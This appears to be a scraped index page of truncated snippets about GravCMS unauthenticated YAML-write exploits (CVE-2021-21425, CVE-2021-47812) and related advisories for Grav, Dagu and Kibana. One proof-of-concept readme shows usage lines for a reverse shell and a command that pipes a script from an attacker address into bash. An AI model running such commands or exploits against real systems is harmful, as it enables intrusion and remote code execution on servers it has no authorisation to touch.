cve-2021-21425

Exploit for: GravCMS 1.10.7 - Arbitrary YAML Write/Update Unauthenticated Usage: python3 exploit.py --url http://192.168.204.12/grav-admin Expected behaviour Do not use this exploit on systems you are not authorized! Happy hacking...

GravCMS_Nmap_Script

GravCMSNmapScript It is a nmap script for GravCMS vulnerability CVE-2021-21425 USAGE -- nmap -p443 --script gravcms.nse -- PORT STATE SERVICE -- 443/tcp open https -- | gravcms: -- | VULNERABLE: -- | GravCMS CVE-2021-21425 -- | State: VULNERABLE Exploitable -- | IDs: CVE:CVE-2021-21425 --...

CVE-2021-21425

CVE-2021-21425 GravCMS 未授权任意YAML写入/更新导致代码执行 CVE-2021-21425 参考 : https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/...

CVE-2021-21425

CVE-2021-21425 - GravCMS 未授权 RCE 针对 CVE-2021-21425 的改进版概念验证，该漏洞是 GravCMS 自定义命令 python3 exploit.py -t http://target -c "id" 示例 在目标上获取反向 shell python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 执行命令 python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash" 依赖要...

grav-exploit

GravCMS 1.10.7 - Unauthenticated Remote Code Execution RCE...

CVE-2026-27598 Dagu: Path traversal in DAG creation allows arbitrary YAML file write outside DAGs directory

Dagu is a workflow engine with a built-in Web user interface. In versions up to and including 1.16.7, the CreateNewDAG API endpoint POST /api/v1/dags does not validate the DAG name before passing it to the file store. An authenticated user with DAG write permissions can write arbitrary YAML files...

GHSA-6V48-FCQ6-FF23 Dagu: Path traversal in DAG creation allows arbitrary YAML file write outside DAGs directory

The CreateNewDAG API endpoint POST /api/v1/dags does not validate the DAG name before passing it to the file store. While RenameDAG calls core.ValidateDAGName to reject names containing path separators line 273 in dags.go, CreateNewDAG skips this validation entirely and passes user input directly...

CVE-2021-47812

GravCMS 1.10.7 is affected by CVE-2021-47812, with an unauthenticated vulnerability that allows remote attackers to write arbitrary YAML configuration and execute PHP code via the scheduler endpoint. Exploitation centers on the admin-nonce parameter to inject base64-encoded payloads and create ma...

CVE-2021-47812 GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)

GravCMS 1.10.7 contains an unauthenticated vulnerability that allows remote attackers to write arbitrary YAML configuration and execute PHP code through the scheduler endpoint. Attackers can exploit the admin-nonce parameter to inject base64-encoded payloads and create malicious custom jobs with...

Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences for example ..\Nijat or ../Nijat, Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain...

GHSA-H756-WH59-HHJV Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences for example ..\Nijat or ../Nijat, Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain...

CVE-2025-66295 Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, when a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences for example ..\Nijat or ../Nijat, Grav writes the account YAML file to an unintended path...

CVE-2025-66295 Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, when a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences for example ..\Nijat or ../Nijat, Grav writes the account YAML file to an unintended path...

CVE-2025-66295 Grav vulnerable to Path traversal / arbitrary YAML write via user creation leading to Account Takeover / System Corruption

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, when a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences for example ..\Nijat or ../Nijat, Grav writes the account YAML file to an unintended path...

Exploit for Improper Access Control in Getgrav Grav-Plugin-Admin

Exploit for: GravCMS 1.10.7 - Arbitrary YAML Write/...

PT-2023-23307 · Elastic · Kibana

Name of the Vulnerable Software and Affected Versions: Kibana versions 8.0.0 through 8.7.0 Description: The issue is an arbitrary code execution flaw. An attacker with write access to Kibana yaml or env configuration could add a specific payload that will attempt to execute JavaScript code. This...

Grav CMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) Exploit (2)

Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update Unauthenticated 2 Original Exploit Author: Mehmet Ince Vendor Homepage: https://getgrav.org Version: 1.10.7 Tested on: Debian 10 Author: legend /usr/bin/python3 import requests import sys import re import base64 target=...

GravCMS 1.10.7 Arbitrary YAML Write / Update

Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update Unauthenticated 2 Original Exploit Author: Mehmet Ince Vendor Homepage: https://getgrav.org Version: 1.10.7 Tested on: Debian 10 Author: legend /usr/bin/python3 import requests import sys import re import base64 target=...

GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)

Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update Unauthenticated 2 Original Exploit Author: Mehmet Ince Vendor Homepage: https://getgrav.org Version: 1.10.7 Tested on: Debian 10 Author: legend /usr/bin/python3 import requests import sys import re import base64 target=...

GravCMS 1.10.7 - Unauthenticated Arbitrary YAML Write/Update Exploit

This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'GravCMS Remote Command Execution', 'Description' = %q This module exploits arbitrary config write/update vulnerability to achieve remote code...